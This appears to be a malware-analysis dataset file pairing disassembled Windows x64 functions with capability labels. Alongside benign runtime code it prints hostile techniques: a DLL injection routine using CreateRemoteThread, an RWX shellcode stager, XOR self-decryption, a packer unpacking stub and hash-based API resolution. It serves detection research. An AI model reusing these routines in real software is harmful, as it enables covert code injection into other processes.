joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4da6b0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4db0b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4ff108]
test eax, eax
je 0x2fc4db14a
lea rax, [0x2fc4ff0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4ff110]
mov qword [rbp - 8], rax
jmp 0x2fc4db12e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4db122
cmp qword [rbp - 0x10], 0
je 0x2fc4db122
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4db0e8
lea rax, [0x2fc4ff0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4db14b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4db250
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4db278
mov eax, 0
jmp 0x2fc4db2c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4db2a1
mov eax, 0
jmp 0x2fc4db2c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4db2c1
mov eax, 0
jmp 0x2fc4db2c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4db2cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4db34a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4db341
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4db341
mov rax, qword [rbp - 8]
jmp 0x2fc4db35f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4db314
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140018000
Capabilities:
Create process on windows
Stop service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x510
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0x500], rax
xor edx, edx
xor ecx, ecx
mov r8d, 0xf0000
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x140018083
lea rdx, str.RichVideo64
mov r8d, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rbx, rbx
je 0x14001807a
lea r8, [rsp + 0xe0]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140018290
xor r11d, r11d
lea r8, str.RichVideo64.exe__unregserver
lea rcx, [rsp + 0x100]
xor ebx, ebx
mov edx, 0x400
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x60], r11
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
mov word [rsp + 0xb0], bx
call fcn.1400181d0
lea r11, [rsp + 0x50]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], r11
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x100]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x50]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x500]
xor rcx, rsp
call fcn.140018260
mov rbx, qword [rsp + 0x520]
add rsp, 0x510
pop rdi
ret

Function at 0x140018558
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rcx, 0x2c496c94
jmp 0x14000d096
dec rcx
jmp 0x14000d31c
jne 0x14000d096
jmp 0x14000d9f4
jmp 0x14000dd09
jmp 0x14000dd41
jmp 0x14000ddba
jmp 0x14000de14
jmp 0x14000de4c
jmp 0x14000deb3
jmp 0x14000deff
jmp 0x14000df4a
jmp 0x14000df5b
jmp 0x14000dfb5
jmp 0x14000e010
jmp 0x14000e04b
jmp 0x14000e0df
jmp 0x14000e102
jmp 0x14000e17b
jmp 0x14000e1d5
jmp 0x14000e1ec
jmp 0x14000e23f
jmp 0x14000e2ae
jmp 0x14000e304
xor rcx, rcx
nop
nop
nop
mov rdx, 0x8e88
nop
nop
nop
nop
nop
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
nop
nop
call 0x14000e331
pop rsi
add rsi, 0xe47
nop
nop
nop
nop
nop
mov rdi, rax
mov rcx, 0x8e88
rep movsb byte [rdi], byte [rsi]
nop
nop
jmp rax
sub rsp, 0x28
call fcn.14001a030
add rsp, 0x28
xor rcx, rcx
jmp 0x14000b0f8
invalid
Function at 0x140018833
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140021008]
jne 0x14001827a
rol rcx, 0x10
test cx, 0xffff
jne 0x140018276
repz ret
ror rcx, 0x10
jmp 0x14001878c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140022100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400221f8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140018811
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140022100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140018833
mov rax, qword [rsp + 0x88]
mov qword [0x1400221f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140022198], rax
mov rax, qword [0x1400221f8]
mov qword [0x140022070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140022180], rax
mov dword [0x140022060], 0xc0000409
mov dword [0x140022064], 1
mov rax, qword [0x140021008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140021010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400220f8], eax
mov ecx, 1
call fcn.14001a0e4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001ea80]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400220f8], 0
jne 0x1400188ba
mov ecx, 1
call fcn.14001a0e4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140018c7c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.14001a33c
nop
cmp dword [0x140022620], 1
je 0x140018c28
mov dword [0x14002261c], 1
mov byte [0x140022618], r12b
test ebx, ebx
jne 0x140018c14
mov rcx, qword [0x140023058]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140018c01
mov rcx, qword [0x140023050]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140018ba0
call fcn.140019c90
cmp qword [rdi], rax
jne 0x140018ba0
jmp 0x140018b86
cmp rdi, rsi
jb 0x140018c01
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140019c90
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140023058]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140023050]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140018bdf
cmp r13, rax
je 0x140018bff
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140018b86
lea rdx, [0x14001e258]
lea rcx, [0x14001e250]
call fcn.1400189d0
lea rdx, [0x14001e268]
lea rcx, [0x14001e260]
call fcn.1400189d0
nop
test r12d, r12d
je 0x140018c37
mov ecx, 8
call fcn.14001a23c
test r12d, r12d
jne 0x140018c62
mov dword [0x140022620], 1
lea ecx, [r12 + 8]
call fcn.14001a23c
mov ecx, r15d
call fcn.140018964
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140018af0

Function at 0x140018c88
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140018af0
Function at 0x14001a910
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140019c90
xor ebx, ebx
mov rdi, rax
cmp qword [0x140022cf0], rbx
jne 0x14001aa16
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x14001aaeb
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001aaeb
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140022cf0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140022cf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140022d00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140022d10], rax
test rax, rax
je 0x14001aa0d
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140022d08], rax
jmp 0x14001aa1d
mov rax, qword [0x140022d08]
jmp 0x14001aa24
mov rax, qword [0x140022d08]
mov r11, qword [0x140022d10]
cmp rax, rdi
je 0x14001aa8c
cmp r11, rdi
je 0x14001aa8c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140022d10]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14001aa8c
test rax, rax
je 0x14001aa8c
call rsi
test rax, rax
je 0x14001aa86
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001aa86
test byte [rsp + 0x38], 1
jne 0x14001aa8c
bts ebp, 0x15
jmp 0x14001aaca
mov rcx, qword [0x140022cf8]
cmp rcx, rdi
je 0x14001aaca
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001aaca
call rax
mov rbx, rax
test rax, rax
je 0x14001aaca
mov rcx, qword [0x140022d00]
cmp rcx, rdi
je 0x14001aaca
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001aaca
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140022cf0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14001aaeb
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14001aaed
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0xed
add al, 0x35
xor al, 0xe4
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
invalid
Function at 0x14001c5f8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001c424
Function at 0x140130d66
Capabilities:
Resolve function by parsing pe exports

Disassembly:
call 0xcd57ed56
popfq
jns 0x140130741
invalid
invalid
cli
sbb al, 0xc1
fbstp tbyte [rsi + 0x48]
cmp ebp, ebp
cmp ebx, 0x24a99c7f
lea r8d, [rcx + 0x4273]
mov edx, 0x881b7c69
jl 0x140130d83
mov cl, al
invalid
mov al, 0xe9
wait
stc
invalid
invalid
jl 0x140130d83
mov cl, al
invalid
jg 0x140130e02
outsd dx, dword [rsi]
jl 0x140130d4f
and al, 0x34
div dh
div dh
invalid

Function at 0x140130de1
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
movzx eax, byte [rsp + rdx + 0x3b]
movzx ecx, byte [rsp + rdx + 0x30]
add cl, al
mov byte [rsp + rdx + 0x3b], cl
mov byte [rsp + rdx + 0x30], r13b
inc rdx
jmp 0x140130efc
movsxd rcx, dword [rax + 0x3c]
mov r11d, dword [rcx + rax + 0x88]
mov ebx, dword [r11 + rax + 0x20]
nop word [rax + rax]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
jne 0x140130ed0
je 0x140130ed0
bswap r10
rcr ebp, 0x26
and ecx, 0xd7ccdc1d
mov edi, 0xade171d1
xor edi, 0x35660549
test r15, rbx
rol r15d, 0x53
jns 0x14013175a
cmp r9d, 0x2fb2a1e7
jmp 0x14013176b
jmp 0x140130f41
xchg r10, r13
add r9, r10
xor eax, eax
mov byte [rsp + 0x45], al
nop dword [rax + rax]
jmp 0x140130d9c
cmp rdx, 0xa
jb 0x140130d9c
xor edx, edx
jmp 0x140130f0d
lea rcx, [rsp + 0x3b]
mov r8d, 0x800
call r9
xchg r10, rax
mov r9, r10
xchg r10, rax
mov r8d, r13d
jmp 0x140130dce
add rcx, r10
mov word [rsp + 0x38], 0xf6f6
mov word [rsp + 0x43], 0x7676
mov r9d, dword [rcx + rdx*4]
xchg r10, r13
mov rdx, r10
jmp 0x140130ee6
cmp edi, ecx
or r13d, 0xdade73b
call fcn.140131944
xchg ebx, edi

Function at 0x140131fee
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
add byte [rax], al
and r8d, 0x1be245eb
jo 0x140132526
cmp r15d, 0x4ce6af00
mul rdi
inc rdx
call fcn.140131733
Function at 0x1405afff0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1405afffd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1405b000d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1405afff5
lea eax, [rcx + 1]
jmp 0x1405b001b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1405b002e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1405b0014
sub eax, 3
jb 0x1405b004e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1405b009d
sar eax, 1
movsxd rbp, eax
jb 0x1405b0084
jmp 0x1405b005c
add ebx, ebx
jne 0x1405b005a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1405b0084
inc ecx
add ebx, ebx
jne 0x1405b006a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1405b0084
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1405b007d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1405b006c
add ecx, 2
jmp 0x1405b0089
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1405affb2
jmp 0x1405afffd
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x20ac00
mov dl, 0x27
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1405b00ed
cmp rsi, rcx
jae 0x1405b00f5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1405b00d4
cmp al, 0x8f
ja 0x1405b00d4
cmp byte [rsi - 2], 0xf
je 0x1405b00da
sub al, 0xe8
cmp al, 1
ja 0x1405b00be
cmp rsi, rcx
jae 0x1405b00f5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1405b00c4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1405b00f5
lodsb al, byte [rsi]
jmp 0x1405b00d4
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5aa000]
mov eax, dword [rdi]
or eax, eax
je 0x1405b015e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5b02dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1405b0102
jns 0x1405b0137
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1405b0141
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1405b0158
mov qword [rbx], rax
add rbx, 8
jmp 0x1405b0122
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1405b01a2
cmp al, 0xef
ja 0x1405b018a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1405b016a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1405b0179
mov eax, dword [rdi]
add rdi, 4
jmp 0x1405b0179
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x257]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1405b01f6
sub rsp, 0xffffffffffffff80
jmp 0x1401f1d4c
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140009890]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400098a0]
mov dword [rax], 1
mov rax, qword [0x1400098b0]
mov dword [rax], 1
mov rax, qword [0x140009880]
mov dword [rax], 1
mov rax, qword [0x140009740]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140009870]
mov dword [0x14000c00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140009830]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140009810]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400096f0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x1400015a1
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x140001636
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x14000161f
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x58]
jmp 0x14000164e
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x1400015ec
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret
Function at 0x140001657
Capabilities:
Create thread
Inject thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 4], 0
mov r8d, dword [rbp + 0x10]
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001699
mov eax, 0
jmp 0x1400017a0
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.strlen
add eax, 1
mov dword [rbp - 0x14], eax
mov edx, dword [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
je 0x14000178d
mov r9d, dword [rbp - 0x14]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
lea rcx, [rbp - 0x2c]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x14000176d
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
je 0x14000176d
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp - 4], 1
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x70
pop rbp
ret

Function at 0x140001b30
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]